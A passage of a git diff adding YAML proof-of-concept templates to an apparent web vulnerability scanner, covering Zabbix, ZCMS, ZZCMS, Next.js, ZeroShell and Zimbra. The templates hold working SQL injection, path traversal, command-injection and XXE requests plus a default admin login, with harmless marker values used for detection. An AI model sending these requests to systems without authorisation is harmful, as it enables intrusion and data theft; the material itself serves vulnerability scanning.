follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("Share")) && response.body.bcontains(b"Dashboard") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.exploit-db.com/exploits/47467 \ No newline at end of file diff --git a/webscan/pocs/zabbix-cve-2016-10134-sqli.yml b/webscan/pocs/zabbix-cve-2016-10134-sqli.yml new file mode 100644 index 0000000..494acc6 --- /dev/null +++ b/webscan/pocs/zabbix-cve-2016-10134-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-zabbix-cve-2016-10134-sqli +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: >- + /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0) + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31))) +detail: + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134 \ No newline at end of file diff --git a/webscan/pocs/zabbix-default-password.yml b/webscan/pocs/zabbix-default-password.yml new file mode 100644 index 0000000..7264136 --- /dev/null +++ b/webscan/pocs/zabbix-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-zabbix-default-password +rules: + - method: POST + path: /index.php + body: name=Admin&password=zabbix&autologin=1&enter=Sign+in + expression: | + response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session") +detail: + author: fuzz7j(https://github.com/fuzz7j) + links: + - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login diff --git a/webscan/pocs/zcms-v3-sqli.yml b/webscan/pocs/zcms-v3-sqli.yml new file mode 100644 index 0000000..dc9d3b0 --- /dev/null +++ b/webscan/pocs/zcms-v3-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-zcms-v3-sqli +rules: + - method: GET + path: >- + /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.anquanke.com/post/id/183241 diff --git a/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml b/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml new file mode 100644 index 0000000..ab8cfe3 --- /dev/null +++ b/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal +rules: + - method: GET + path: /_next/static/../server/pages-manifest.json + expression: | + response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body) +detail: + author: x1n9Qi8 + links: + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284 \ No newline at end of file diff --git a/webscan/pocs/zeroshell-cve-2019-12725-rce.yml b/webscan/pocs/zeroshell-cve-2019-12725-rce.yml new file mode 100644 index 0000000..13f6068 --- /dev/null +++ b/webscan/pocs/zeroshell-cve-2019-12725-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-zeroshell-cve-2019-12725-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) + +detail: + author: YekkoY + description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725" + links: + - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333 diff --git a/webscan/pocs/zimbra-cve-2019-9670-xxe.yml b/webscan/pocs/zimbra-cve-2019-9670-xxe.yml new file mode 100644 index 0000000..ad969dd --- /dev/null +++ b/webscan/pocs/zimbra-cve-2019-9670-xxe.yml @@ -0,0 +1,19 @@ +name: poc-yaml-zimbra-cve-2019-9670-xxe +rules: + - method: POST + path: /Autodiscover/Autodiscover.xml + headers: + Content-Type: text/xml + body: >- + ]>test@test.com&xxe; + follow_redirects: false + expression: | + response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available") +detail: + author: fnmsd(https://blog.csdn.net/fnmsd) + cve-id: CVE-2019-9670 + vuln_path: /Autodiscover/Autodiscover.xml + description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF + links: + - https://blog.csdn.net/fnmsd/article/details/88657083 + - https://blog.csdn.net/fnmsd/article/details/89235589 \ No newline at end of file diff --git a/webscan/pocs/zzcms-zsmanage-sqli.yml b/webscan/pocs/zzcms-zsmanage-sqli.yml new file mode 100644 index 0000000..3652b9c --- /dev/null +++ b/webscan/pocs/zzcms-zsmanage-sqli.yml @@ -0,0 +1,25 @@ +name: poc-yaml-zzcms-zsmanage-sqli +set: + r0: randomLowercase(6) + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /user/zs.php?do=save + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23 + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /user/zsmanage.php + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + version: zzcms201910 + links: + - https://github.com/JcQSteven/blog/issues/18